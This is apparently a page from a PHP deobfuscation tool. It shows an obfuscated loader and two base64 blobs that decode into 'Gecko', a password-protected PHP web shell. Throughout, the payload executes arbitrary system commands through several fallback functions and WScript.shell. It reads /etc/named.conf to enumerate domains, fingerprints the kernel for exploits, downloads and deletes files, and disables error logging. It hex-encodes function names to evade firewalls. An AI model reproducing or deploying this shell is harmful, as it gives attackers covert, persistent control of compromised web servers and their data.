JGVtYWlsU3ViamVjdCwgJG1lc3NhZ2VNYWlsLCAkaGVhZGVyc01haWwpOwogICAgICAgIGlmICgkcHJvY01haWxTbVRwKSB7CiAgICAgICAgICAgIHN1Y2Nlc3MoKTsKICAgICAgICB9IGVsc2UgewogICAgICAgICAgICBmYWlsZWQoKTsKICAgICAgICB9CiAgICB9Cn0KCmlmICgkX0dFVFsncmVzcG9uc2UnXSA9PSAic3VjY2VzcyIpIHsKICAgIGVjaG8gIjxzY3JpcHQ+ClN3YWwuZmlyZSh7CiAgICBpY29uOiAnc3VjY2VzcycsCiAgICB0aXRsZTogJ1N1Y2Vzc3MuLi4nLAogICAgdGV4dDogJ0RvbmUgU3VjY2VzcyEnLAogICAgY29uZmlybUJ1dHRvbkNvbG9yOiAnIzIyMjQyZCcsCn0pPC9zY3JpcHQ+IjsKfSBlbHNlIGlmICgkX0dFVFsncmVzcG9uc2UnXSA9PSAiZmFpbGVkIikgewogICAgZWNobyAiPHNjcmlwdD4KU3dhbC5maXJlKHsKICAgIGljb246ICdlcnJvcicsCiAgICB0aXRsZTogJ0ZhaWxlZC4uLicsCiAgICB0ZXh0OiAnU29tZXRoaW5nIHdyb25nIScsCiAgICBjb25maXJtQnV0dG9uQ29sb3I6ICcjMjIyNDJkJywKfSkKICAgIDwvc2NyaXB0PiI7Cn0KCgpmdW5jdGlvbiBzdWNjZXNzKCkKewogICAgZWNobyAnPG1ldGEgaHR0cC1lcXVpdj0icmVmcmVzaCIgY29udGVudD0iMDt1cmw9P2Q9JyAuIGh4KCRHTE9CQUxTWydmdW5nc2knXVswXSgpKSAuICcmcmVzcG9uc2U9c3VjY2VzcyI+JzsKfQpmdW5jdGlvbiBmYWlsZWQoKQp7CiAgICBlY2hvICc8bWV0YSBodHRwLWVxdWl2PSJyZWZyZXNoIiBjb250ZW50PSIwO3VybD0/ZD0nIC4gaHgoJEdMT0JBTFNbJ2Z1bmdzaSddWzBdKCkpIC4gJyZyZXNwb25zZT1mYWlsZWQiPic7Cn0KCmZ1bmN0aW9uIGZvcm1hdFNpemUoJGJ5dGVzKQp7CiAgICAkdHlwZXMgPSBhcnJheSgnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+Qjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+S0I8L3NwYW4+JywgJzxzcGFuIGNsYXNzPSJmaWxlLXNpemUiPk1CPC9zcGFuPicsICc8c3BhbiBjbGFzcz0iZmlsZS1zaXplIj5HQjwvc3Bhbj4nLCAnPHNwYW4gY2xhc3M9ImZpbGUtc2l6ZSI+VEI8L3NwYW4+Jyk7CiAgICBmb3IgKCRpID0gMDsgJGJ5dGVzID49IDEwMjQgJiYgJGkgPCAoY291bnQoJHR5cGVzKSAtIDEpOyAkYnl0ZXMgLz0gMTAyNCwgJGkrKyk7CiAgICByZXR1cm4gKHJvdW5kKCRieXRlcywgMikgLiAiICIgLiAkdHlwZXNbJGldKTsKfQoKCmZ1bmN0aW9uIGh4KCRuKQp7CiAgICAkeSA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCRuKTsgJGkrKykgewogICAgICAgICR5IC49IGRlY2hleChvcmQoJG5bJGldKSk7CiAgICB9CiAgICByZXR1cm4gJHk7Cn0KZnVuY3Rpb24gdW54KCR5KQp7CiAgICAkbiA9ICcnOwogICAgZm9yICgkaSA9IDA7ICRpIDwgc3RybGVuKCR5KSAtIDE7ICRpICs9IDIpIHsKICAgICAgICAkbiAuPSBjaHIoaGV4ZGVjKCR5WyRpXSAuICR5WyRpICsgMV0pKTsKICAgIH0KICAgIHJldHVybiAkbjsKfQoKZnVuY3Rpb24gc3VnZ2VzdF9leHBsb2l0KCkKewogICAgJHVuYW1lID0gJEdMT0JBTFNbJ2Z1bmdzaSddWzhdKCk7CiAgICAkeHBsb2QgPSBleHBsb2RlKCIgIiwgJHVuYW1lKTsKICAgICR4cGxkID0gZXhwbG9kZSgiLSIsICR4cGxvZFsyXSk7CiAgICAkcGwgPSBleHBsb2RlKCIuIiwgJHhwbGRbMF0pOwogICAgcmV0dXJuICRwbFswXSAuICIuIiAuICRwbFsxXSAuICIuIiAuICRwbFsyXTsKfQpmdW5jdGlvbiBzKCkKewogICAgJGQwbWFpbnMgPSBAJEdMT0JBTFNbJ2Z1bmdzaSddWzddKCIvZXRjL25hbWVkLmNvbmYiLCBmYWxzZSk7CiAgICBpZiAoISRkMG1haW5zKSB7CiAgICAgICAgJGRvbSA9ICI8Zm9udCBjb2xvcj1yZWQgc2l6ZT0ycHg+Q2FudCBSZWFkIFsgL2V0Yy9uYW1lZC5jb25mIF08L2ZvbnQ+IjsKICAgICAgICAkR0xPQkFMU1sibmVlZF90b191cGRhdGVfaGVhZGVyIl0gPSAidHJ1ZSI7CiAgICB9IGVsc2UgewogICAgICAgICRjb3VudCA9IDA7CiAgICAgICAgZm9yZWFjaCAoJGQwbWFpbnMgYXMgJGQwbWFpbikgewogICAgICAgICAgICBpZiAoQHN0cnN0cigkZDBtYWluLCAiem9uZSIpKSB7CiAgICAgICAgICAgICAgICBwcmVnX21hdGNoX2FsbCgnI3pvbmUgIiguKikiIycsICRkMG1haW4sICRkb21haW5zKTsKICAgICAgICAgICAgICAgIGZsdXNoKCk7CiAgICAgICAgICAgICAgICBpZiAoc3RybGVuKHRyaW0oJGRvbWFpbnNbMV1bMF0pKSA+IDIpIHsKICAgICAgICAgICAgICAgICAgICBmbHVzaCgpOwogICAgICAgICAgICAgICAgICAgICRjb3VudCsrOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9CiAgICAgICAgfQogICAgICAgICRkb20gPSAiJGNvdW50IERvbWFpbiI7CiAgICB9CiAgICByZXR1cm4gJGRvbTsKfQoKZnVuY3Rpb24gY21kKCRpbiwgJHJlID0gZmFsc2UpCnsKICAgICRvdXQgPSAnJzsKICAgIHRyeSB7CiAgICAgICAgaWYgKCRyZSkgJGluID0gJGluIC4gIiAyPiYxIjsKICAgICAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDY1XHg3OFx4NjVceDYzIikpIHsKICAgICAgICAgICAgQCRHTE9CQUxTWydmdW5nc2knXVsxNl0oJGluLCAkb3V0KTsKICAgICAgICAgICAgJG91dCA9IEBqb2luKCJcbiIsICRvdXQpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzBceDYxXHg3M1x4NzNceDc0XHg2OFx4NzJceDc1IikpIHsKICAgICAgICAgICAgb2Jfc3RhcnQoKTsKICAgICAgICAgICAgQCRHTE9CQUxTWydmdW5nc2knXVsxN10oJGluKTsKICAgICAgICAgICAgJG91dCA9IG9iX2dldF9jbGVhbigpOwogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzNceDc5XHg3M1x4NzRceDY1XHg2ZCIpKSB7CiAgICAgICAgICAgIG9iX3N0YXJ0KCk7CiAgICAgICAgICAgIEAkR0xPQkFMU1snZnVuZ3NpJ11bMThdKCRpbik7CiAgICAgICAgICAgICRvdXQgPSBvYl9nZXRfY2xlYW4oKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDczXHg2OFx4NjVceDZjXHg2Y1x4NWZceDY1XHg3OFx4NjVceDYzIikpIHsKICAgICAgICAgICAgJG91dCA9ICRHTE9CQUxTWydmdW5nc2knXVsxOV0oJGluKTsKICAgICAgICB9IGVsc2VpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDcwXHg2Zlx4NzBceDY1XHg2ZSIpICYmIGZ1bmN0aW9uX2V4aXN0cygiXHg3MFx4NjNceDZjXHg2Zlx4NzNceDY1IikpIHsKICAgICAgICAgICAgaWYgKGlzX3Jlc291cmNlKCRmID0gQCRHTE9CQUxTWydmdW5nc2knXVsyMF0oJGluLCAiciIpKSkgewogICAgICAgICAgICAgICAgJG91dCA9ICIiOwogICAgICAgICAgICAgICAgd2hpbGUgKCFAZmVvZigkZikpCiAgICAgICAgICAgICAgICAgICAgJG91dCAuPSBmcmVhZCgkZiwgMTAyNCk7CiAgICAgICAgICAgICAgICAkR0xPQkFMU1snZnVuZ3NpJ11bMjFdKCRmKTsKICAgICAgICAgICAgfQogICAgICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoIlx4NzBceDcyXHg2Zlx4NjNceDVmXHg2Zlx4NzBceDY1XHg2ZSIpKSB7CiAgICAgICAgICAgICRwaXBlcyA9IGFycmF5KCk7CiAgICAgICAgICAgICRwcm9jZXNzID0gQCRHTE9CQUxTWydmdW5nc2knXVsyM10oJGluIC4gJyAyPiYxJywgYXJyYXkoYXJyYXkoInBpcGUiLCAidyIpLCBhcnJheSgicGlwZSIsICJ3IiksIGFycmF5KCJwaXBlIiwgInciKSksICRwaXBlcywgbnVsbCk7CiAgICAgICAgICAgICRvdXQgPSBAJEdMT0JBTFNbJ2Z1bmdzaSddWzIyXSgkcGlwZXNbMV0pOwogICAgICAgIH0gZWxzZWlmIChjbGFzc19leGlzdHMoJ0NPTScpKSB7CiAgICAgICAgICAgICRhbGZhV3MgPSBuZXcgQ09NKCdXU2NyaXB0LnNoZWxsJyk7CiAgICAgICAgICAgICRleGVjID0gJGFsZmFXcy0+JEdMT0JBTFNbJ2Z1bmdzaSddWzE2XSgnY21kLmV4ZSAvYyAnIC4gJF9QT1NUWydhbGZhMSddKTsKICAgICAgICAgICAgJHN0ZG91dCA9ICRleGVjLT5TdGRPdXQoKTsKICAgICAgICAgICAgJG91dCA9ICRzdGRvdXQtPlJlYWRBbGwoKTsKICAgICAgICB9CiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHsKICAgIH0KICAgIHJldHVybiAkb3V0Owp9CgoKZnVuY3Rpb24gd2lucHdkKCkKewogICAgcmV0dXJuIHN0cl9yZXBsYWNlKCJcXCIsICIvIiwgJEdMT0JBTFNbJ2Z1bmdzaSddWzBdKCkpOwp9CgpmdW5jdGlvbiByZW1vdmVfc2xhc2goJHZhbCkKewogICAgJHRleCA9IHN0cl9yZXBsYWNlKCIvIiwgIiIsICR2YWwpOwogICAgJHRleDEgPSBzdHJfcmVwbGFjZSgiOiIsICIiLCAkdGV4KTsKICAgICR0ZXgyID0gc3RyX3JlcGxhY2UoIl8iLCAiIiwgJHRleDEpOwogICAgJHRleDMgPSBzdHJfcmVwbGFjZSgiICIsICIiLCAkdGV4Mik7CiAgICAkdGV4NCA9IHN0cl9yZXBsYWNlKCIuIiwgIiIsICR0ZXgzKTsKICAgIHJldHVybiAkdGV4NDsKfQoKZnVuY3Rpb24gZ2V0YygpCnsKICAgICRwID0gZ2V0ZW52KCdNSUJESVJTJyk7CiAgICAkcmVhZCA9IGV4cGxvZGUoIjoiLCAkcCk7CiAgICByZXR1cm4gJHJlYWRbMF07Cn0KCgpmdW5jdGlvbiBjaGVja194YW1wcCgpCnsKICAgICRteXNxbCA9IGdldGVudignTVlTUUxfSE9NRScpOwogICAgaWYgKHN0cnN0cigkbXlzcWwsICJ4YW1wcCIpKSB7CiAgICAgICAgcmV0dXJuIFRydWU7CiAgICB9IGVsc2UgewogICAgICAgIHJldHVybiBGYWxzZTsKICAgIH0KfQoKZnVuY3Rpb24gdW5saW5rRGlyKCRkaXIpCnsKICAgICRkaXJzID0gYXJyYXkoJGRpcik7CiAgICAkZmlsZXMgPSBhcnJheSgpOwogICAgZm9yICgkaSA9IDA7OyAkaSsrKSB7CiAgICAgICAgaWYgKGlzc2V0KCRkaXJzWyRpXSkpCiAgICAgICAgICAgICRkaXIgPSAgJGRpcnNbJGldOwogICAgICAgIGVsc2UKICAgICAgICAgICAgYnJlYWs7CgogICAgICAgIGlmICgkb3BlbkRpciA9IG9wZW5kaXIoJGRpcikpIHsKICAgICAgICAgICAgd2hpbGUgKCRyZWFkRGlyID0gQHJlYWRkaXIoJG9wZW5EaXIpKSB7CiAgICAgICAgICAgICAgICBpZiAoJHJlYWREaXIgIT0gIi4iICYmICRyZWFkRGlyICE9ICIuLiIpIHsKCiAgICAgICAgICAgICAgICAgICAgaWYgKCRHTE9CQUxTWydmdW5nc2knXVsyXSgkZGlyIC4gIi8iIC4gJHJlYWREaXIpKSB7CiAgICAgICAgICAgICAgICAgICAgICAgICRkaXJzW10gPSAkZGlyIC4gIi8iIC4gJHJlYWREaXI7CiAgICAgICAgICAgICAgICAgICAgfSBlbHNlIHsKCiAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlc1tdID0gJGRpciAuICIvIiAuICRyZWFkRGlyOwogICAgICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgICAgIH0KICAgICAgICAgICAgfQogICAgICAgIH0KICAgIH0KCgoKICAgIGZvcmVhY2ggKCRmaWxlcyBhcyAkZmlsZSkgewogICAgICAgICRHTE9CQUxTWydmdW5nc2knXVsyNF0oJGZpbGUpOwogICAgfQogICAgJGRpcnMgPSBhcnJheV9yZXZlcnNlKCRkaXJzKTsKICAgIGZvcmVhY2ggKCRkaXJzIGFzICRkaXIpIHsKICAgICAgICAkR0xPQkFMU1snZnVuZ3NpJ11bMjVdKCRkaXIpOwogICAgfQp9CgpmdW5jdGlvbiByZW1vdmVfZG90KCRmaWxlKQp7CiAgICAkRklMRVMgPSAkZmlsZTsKICAgICRwY2ggPSBleHBsb2RlKCIuIiwgJEZJTEVTKTsKICAgIHJldHVybiAkcGNoWzBdOwp9CgoKZnVuY3Rpb24gd2luZG93c0RyaXZlcigpCnsKICAgICR3aW5BcnIgPSBbCiAgICAgICAgJ0EnLCAnQicsICdDJywgJ0QnLCAnRScsICdGJywgJ0cnLCAnSCcsICdJJywgJ0onLCAnSycsICdMJywgJ00nLCAnTicsICdPJywgJ1AnLCAnUScsICdSJywgJ1MnLCAnVCcsICdWJywgJ1cnLCAnWCcsICdZJywgJ1onCiAgICBdOwogICAgZm9yZWFjaCAoJHdpbkFyciBhcyAkd2luTnVtID0+ICR3aW5WYWwpIHsKICAgICAgICBpZiAoaXNfZGlyKCR3aW5WYWwgLiAiOi8iKSkgewogICAgICAgICAgICBlY2hvICI8YSBzdHlsZT0nY29sb3I6b3JhbmdlOyBmb250LXdlaWdodDpib2xkOycgaHJlZj0nP2Q9IiAuIGh4KCR3aW5WYWwgLiAiOi8iKSAuICInPlsgIiAuICR3aW5WYWwgLiAiIF08L2E+Jm5ic3A7IjsKICAgICAgICB9CiAgICB9Cn0KCmZ1bmN0aW9uIG5hbWFQYW5qYW5nKCR2YWx1ZSkKewogICAgJG5hbWFOeWEgPSAkdmFsdWU7CiAgICAkZXh0ZW5zaSA9IHBhdGhpbmZvKCR2YWx1ZSwgUEFUSElORk9fRVhURU5TSU9OKTsKICAgIGlmIChzdHJsZW4oJG5hbWFOeWEpID4gMzApIHsKICAgICAgICByZXR1cm4gc3Vic3RyKCRuYW1hTnlhLCAwLCAzMCkgLiAiLi4uIjsKICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuICR2YWx1ZTsKICAgIH0KfQoKZnVuY3Rpb24gcGVybXMoJGZpbGUpCnsKICAgICRwZXJtcyA9ICRHTE9CQUxTWydmdW5nc2knXVs2XSgkZmlsZSk7CiAgICBpZiAoKCRwZXJtcyAmIDB4QzAwMCkgPT0gMHhDMDAwKSB7CiAgICAgICAgLy8gU29ja2V0CiAgICAgICAgJGluZm8gPSAncyc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4QTAwMCkgPT0gMHhBMDAwKSB7CiAgICAgICAgLy8gU3ltYm9saWMgTGluawogICAgICAgICRpbmZvID0gJ2wnOwogICAgfSBlbHNlaWYgKCgkcGVybXMgJiAweDgwMDApID09IDB4ODAwMCkgewogICAgICAgIC8vIFJlZ3VsYXIKICAgICAgICAkaW5mbyA9ICctJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHg2MDAwKSA9PSAweDYwMDApIHsKICAgICAgICAvLyBCbG9jayBzcGVjaWFsCiAgICAgICAgJGluZm8gPSAnYic7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4NDAwMCkgPT0gMHg0MDAwKSB7CiAgICAgICAgLy8gRGlyZWN0b3J5CiAgICAgICAgJGluZm8gPSAnZCc7CiAgICB9IGVsc2VpZiAoKCRwZXJtcyAmIDB4MjAwMCkgPT0gMHgyMDAwKSB7CiAgICAgICAgLy8gQ2hhcmFjdGVyIHNwZWNpYWwKICAgICAgICAkaW5mbyA9ICdjJzsKICAgIH0gZWxzZWlmICgoJHBlcm1zICYgMHgxMDAwKSA9PSAweDEwMDApIHsKICAgICAgICAvLyBGSUZPIHBpcGUKICAgICAgICAkaW5mbyA9ICdwJzsKICAgIH0gZWxzZSB7CiAgICAgICAgLy8gVW5rbm93bgogICAgICAgICRpbmZvID0gJ3UnOwogICAgfQogICAgLy8gT3duZXIKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMTAwKSA/ICdyJyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDA4MCkgPyAndycgOiAnLScpOwogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwNDApID8KICAgICAgICAoKCRwZXJtcyAmIDB4MDgwMCkgPyAncycgOiAneCcpIDogKCgkcGVybXMgJiAweDA4MDApID8gJ1MnIDogJy0nKSk7CiAgICAvLyBHcm91cAogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMjApID8gJ3InIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDEwKSA/ICd3JyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwOCkgPwogICAgICAgICgoJHBlcm1zICYgMHgwNDAwKSA/ICdzJyA6ICd4JykgOiAoKCRwZXJtcyAmIDB4MDQwMCkgPyAnUycgOiAnLScpKTsKCiAgICAvLyBXb3JsZAogICAgJGluZm8gLj0gKCgkcGVybXMgJiAweDAwMDQpID8gJ3InIDogJy0nKTsKICAgICRpbmZvIC49ICgoJHBlcm1zICYgMHgwMDAyKSA/ICd3JyA6ICctJyk7CiAgICAkaW5mbyAuPSAoKCRwZXJtcyAmIDB4MDAwMSkgPwogICAgICAgICgoJHBlcm1zICYgMHgwMjAwKSA/ICd0JyA6ICd4JykgOiAoKCRwZXJtcyAmIDB4MDIwMCkgPyAnVCcgOiAnLScpKTsKICAgIHJldHVybiAkaW5mbzsKfQo/Pg==")); 
include sTreaM_gEt_Meta_daTa(${${"GLOBALS"}["xlrjsyu"]})["uri"]; 
fCloSe(${${"GLOBALS"}["xlrjsyu"]}); 
 ?>

Did this file decode correctly?

Original Code

<?php ${"GLOBALS"}["xlrjsyu"] = "temp_file";
$owkmxrd = "temp_file";
${$owkmxrd} = TmpFilE();
FwrIte(${${"GLOBALS"}["xlrjsyu"]}, base64_decode("PD9waHAKc2Vzc2lvbl9zdGFydCgpOwpAc2V0X3RpbWVfbGltaXQoMCk7CkBjbGVhcnN0YXRjYWNoZSgpOwpAaW5pX3NldCgnZXJyb3JfbG9nJywgTlVMTCk7CkBpbmlfc2V0KCdsb2dfZXJyb3JzJywgMCk7CkBpbmlfc2V0KCdtYXhfZXhlY3V0aW9uX3RpbWUnLCAwKTsKQGluaV9zZXQoJ291dHB1dF9idWZmZXJpbmcnLCAwKTsKQGluaV9zZXQoJ2Rpc3BsYXlfZXJyb3JzJywgMCk7CgovKiBrb25maWd1cmFzaSAqLwovKiBQYXNzd29yZCB1c2luZyBtZDUgaGFzaGVzICovCiRwYXNzd29yZCA9ICI3NWIyMTBkYWNlOWVkODAwYjc2YjY0ODE3Y2Q5N2EzYiI7CiRkZWZhdWx0X2FjdGlvbiA9ICJGaWxlc01hbiI7CiRkZWZhdWx0X3VzZV9hamF4ID0gdHJ1ZTsKJGRlZmF1bHRfY2hhcnNldCA9ICdVVEYtOCc7CmRhdGVfZGVmYXVsdF90aW1lem9uZV9zZXQoIkFzaWEvSmFrYXJ0YSIpOwpmdW5jdGlvbiBsb2dpbl9zaGVsbCgpCnsKPz4KICAgIDwhRE9DVFlQRSBodG1sPgogICAgPGh0bWwgbGFuZz0iZW4iPgoKICAgIDxoZWFkPgogICAgICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgICAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPgogICAgICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4KICAgICAgICA8c3R5bGU+CiAgICAgICAgICAgIGJvZHkgewogICAgICAgICAgICAgICAgZm9udC1mYW1pbHk6IG1vbm9zcGFjZQogICAgICAgICAgICB9CgogICAgICAgICAgICBpbnB1dFt0eXBlPXBhc3N3b3JkXSB7CiAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgICAgICBib3JkZXItYm90dG9tOiAxcHggc29saWQgIzAwMDsKICAgICAgICAgICAgICAgIHBhZGRpbmc6IDJweAogICAgICAgICAgICB9CgogICAgICAgICAgICBpbnB1dFt0eXBlPXBhc3N3b3JkXTpmb2N1cyB7CiAgICAgICAgICAgICAgICBvdXRsaW5lOiAwCiAgICAgICAgICAgIH0KCiAgICAgICAgICAgIGlucHV0W3R5cGU9c3VibWl0XSB7CiAgICAgICAgICAgICAgICBib3JkZXI6IG5vbmU7CiAgICAgICAgICAgICAgICBwYWRkaW5nOiA0LjVweCAyMHB4OwogICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogIzJlMzEzZDsKICAgICAgICAgICAgICAgIGNvbG9yOiAjZmZmCiAgICAgICAgICAgIH0KICAgICAgICA8L3N0eWxlPgogICAgPC9oZWFkPgoKICAgIDxib2R5PgogICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPgogICAgICAgICAgICA8ZGl2IGFsaWduPSJjZW50ZXIiPgogICAgICAgICAgICAgICAgPGlucHV0IHR5cGU9InBhc3N3b3JkIiBuYW1lPSJwYXNzIiBwbGFjZWhvbGRlcj0iJm5ic3A7UGFzc3dvcmQiPiZuYnNwOzxpbnB1dCB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9Ij4iPgogICAgICAgICAgICA8L2Rpdj4KICAgICAgICA8L2Zvcm0+CiAgICA8L2JvZHk+CgogICAgPC9odG1sPgo8P3BocAogICAgZXhpdDsKfQppZiAoIWlzc2V0KCRfU0VTU0lPTlttZDUoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pKSB7CiAgICBpZiAoaXNzZXQoJF9QT1NUWydwYXNzJ10pICYmIChtZDUoJF9QT1NUWydwYXNzJ10pID09ICRwYXNzd29yZCkpIHsKICAgICAgICAkX1NFU1NJT05bbWQ1KCRfU0VSVkVSWydIVFRQX0hPU1QnXSldID0gdHJ1ZTsKICAgIH0gZWxzZSB7CiAgICAgICAgbG9naW5fc2hlbGwoKTsKICAgIH0KfQojIGZ1bmN0aW9uIFdBRgoKJEFycmF5ID0gWwogICAgJzY3NjU3NDYzNzc2NCcsICMgZ2UgIHRjdyBkID0+IDAKICAgICc2NzZjNmY2MicsICMgZ2wgb2IgPT4gMQogICAgJzY5NzM1ZjY0Njk3MicsICMgaXNfZCBpciA9PiAyCiAgICAnNjk3MzVmNjY2OTZjNjUnLCAjIGlzXyBmaWxlID0+IDMKICAgICc2OTczNWY3NzcyNjk3NDYxNjI2YzY1JywgIyBpc193ciBpdGVhYmxlID0+IDQKICAgICc2OTczNWY3MjY1NjE2NDYxNjI2YzY1JywgIyBpc19yZSBhZGJsZSA9PiA1CiAgICAnNjY2OTZjNjU3MDY1NzI2ZDczJywgIyBmaWxlcGVyIG1zID0+IDYKICAgICc2NjY5NmM2NScsICMgZiBpbGUgPT4gNwogICAgJzcwNjg3MDVmNzU2ZTYxNmQ2NScsICMgcGhwX3VuYW0gZSA9PiA4CiAgICAnNjc2NTc0NWY2Mzc1NzI3MjY1NmU3NDVmNzU3MzY1NzInLCAjIGdldGMgdXJyZW50dXNlciA9PiA5CiAgICAnNjg3NDZkNmM3MzcwNjU2MzY5NjE2YzYzNjg2MTcyNzMnLCAjIGh0bWwgc3BlY2lhbCA9PiAxMAogICAgJzY2Njk2YzY1NWY2NzY1NzQ1ZjYzNmY2ZTc0NjU2ZTc0NzMnLCAjIGZpbCBlX2dldF9jb250ZW50cyA9PiAxMQogICAgJzZkNmI2NDY5NzInLCAjIG1rIGRpciA9PiAxMgogICAgJzc0NmY3NTYzNjgnLCAjIHRvIHVjaCA9PiAxMwogICAgJzYzNjg2NDY5NzInLCAjIGNoIGRpciA9PiAxNAogICAgJzcyNjU2ZTYxNmQ2NScsICMgcmVuIGFtZSA9PiAxNQogICAgJzY1Nzg2NTYzJywgIyBleGUgYyA9PiAxNgogICAgJzcwNjE3MzczNzQ2ODcyNzUnLCAjIHBhcyBzdGhydSA9PiAxNwogICAgJzczNzk3Mzc0NjU2ZCcsICMgc3lzdCBlbSA9PiAxOAogICAgJzczNjg2NTZjNmM1ZjY1Nzg2NTYzJywgIyBzaCBlbGxfZXhlYyA9PiAxOQogICAgJzcwNmY3MDY1NmUnLCAjIHAgb3BlbiA9PiAyMAogICAgJzcwNjM2YzZmNzM2NScsICMgcGNsIG9zZSA9PiAyMQogICAgJzczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgIyBzdHJlIGFtZ2V0Y29udGVudHMgPT4gMjIKICAgICc3MDcyNmY2MzVmNmY3MDY1NmUnLCAjIHAgcm9jX29wZW4gPT4gMjMKICAgICc3NTZlNmM2OTZlNmInLCAjIHVuIGxpbmsgPT4gMjQKICAgICc3MjZkNjQ2OTcyJywgIyBybWQgaXIgPT4gMjUKICAgICc2NjZmNzA2NTZlJywgIyBmb3AgZW4gPT4gMjYKICAgICc2NjYzNmM2ZjczNjUnLCAjIGZjbCBvc2UgPT4gMjcKICAgICc2NjY5NmM2NTVmNzA3NTc0NWY2MzZmNmU3NDY1NmU3NDczJywgIyBmaWxlX3B1dF9jIG9udGVudHMgPT4gMjgKICAgICc2ZDZmNzY2NTVmNzU3MDZjNmY2MTY0NjU2NDVmNjY2OTZjNjUnLCAjIG1vdmVfdXAgbG9hZGVkX2ZpbGUgPT4gMjkKICAgICc2MzY4NmQ2ZjY0JywgIyBjaCBtb2QgPT4gMzAKICAgICc3Mzc5NzM1ZjY3NjU3NDVmNzQ2NTZkNzA1ZjY0Njk3MicsICMgdGVtcCBfZGlyID0+IDMxCl07CiRoaXR1bmdfYXJyYXkgPSBjb3VudCgkQXJyYXkpOwpmb3IgKCRpID0gMDsgJGkgPCAkaGl0dW5nX2FycmF5OyAkaSsrKSB7CiAgICAkZnVuZ3NpW10gPSB1bngoJEFycmF5WyRpXSk7Cn0KCmlmIChpc3NldCgkX0dFVFsnZCddKSkgewogICAgJGNkaXIgPSB1bngoJF9HRVRbJ2QnXSk7CiAgICAkZnVuZ3NpWzE0XSgkY2Rpcik7Cn0gZWxzZSB7CiAgICAkY2RpciA9ICRmdW5nc2lbMF0oKTsKfQoKZnVuY3Rpb24gZG93bmxvYWQoJGZpbGUpCnsKCiAgICBpZiAoZmlsZV9leGlzdHMoJGZpbGUpKSB7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LURlc2NyaXB0aW9uOiBGaWxlIFRyYW5zZmVyJyk7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbScpOwogICAgICAgIGhlYWRlcignQ29udGVudC1EaXNwb3NpdGlvbjogYXR0YWNobWVudDsgZmlsZW5hbWU9JyAuIGJhc2VuYW1lKCRmaWxlKSk7CiAgICAgICAgaGVhZGVyKCdDb250ZW50LVRyYW5zZmVyLUVuY29kaW5nOiBiaW5hcnknKTsKICAgICAgICBoZWFkZXIoJ0V4cGlyZXM6IDAnKTsKICAgICAgICBoZWFkZXIoJ0NhY2hlLUNvbnRyb2w6IG11c3QtcmV2YWxpZGF0ZScpOwogICAgICAgIGhlYWRlcignUHJhZ21hOiBwdWJsaWMnKTsKICAgICAgICBoZWFkZXIoJ0NvbnRlbnQtTGVuZ3RoOiAnIC4gZmlsZXNpemUoJGZpbGUpKTsKICAgICAgICBvYl9jbGVhbigpOwogICAgICAgIGZsdXNoKCk7CiAgICAgICAgcmVhZGZpbGUoJGZpbGUpOwogICAgICAgIGV4aXQ7CiAgICB9Cn0KCmlmICgkX0dFVFsnZG9uJ10gPT0gdHJ1ZSkgewogICAgJEZpbGVzRG9uID0gZG93bmxvYWQodW54KCRfR0VUWydkb24nXSkpOwp9Cj8+CjwhRE9DVFlQRSBodG1sPgo8aHRtbCBsYW5nPSJlbiI+Cgo8aGVhZD4KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4KICAgIDxtZXRhIGh0dHAtZXF1aXY9IlgtVUEtQ29tcGF0aWJsZSIgY29udGVudD0iSUU9ZWRnZSI+CiAgICA8dGl0bGU+R2Vja28gWyA8Pz0gJF9TRVJWRVJbJ1NFUlZFUl9OQU1FJ107ID8+IF08L3RpdGxlPgogICAgPHNjcmlwdCBzcmM9J2h0dHBzOi8va2l0LmZvbnRhd2Vzb21lLmNvbS8wNTdiOWI1MTBjLmpzJyBjcm9zc29yaWdpbj0nYW5vbnltb3VzJz48L3NjcmlwdD4KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2FqYXguZ29vZ2xlYXBpcy5jb20vYWpheC9saWJzL2pxdWVyeS8zLjYuMS9qcXVlcnkubWlu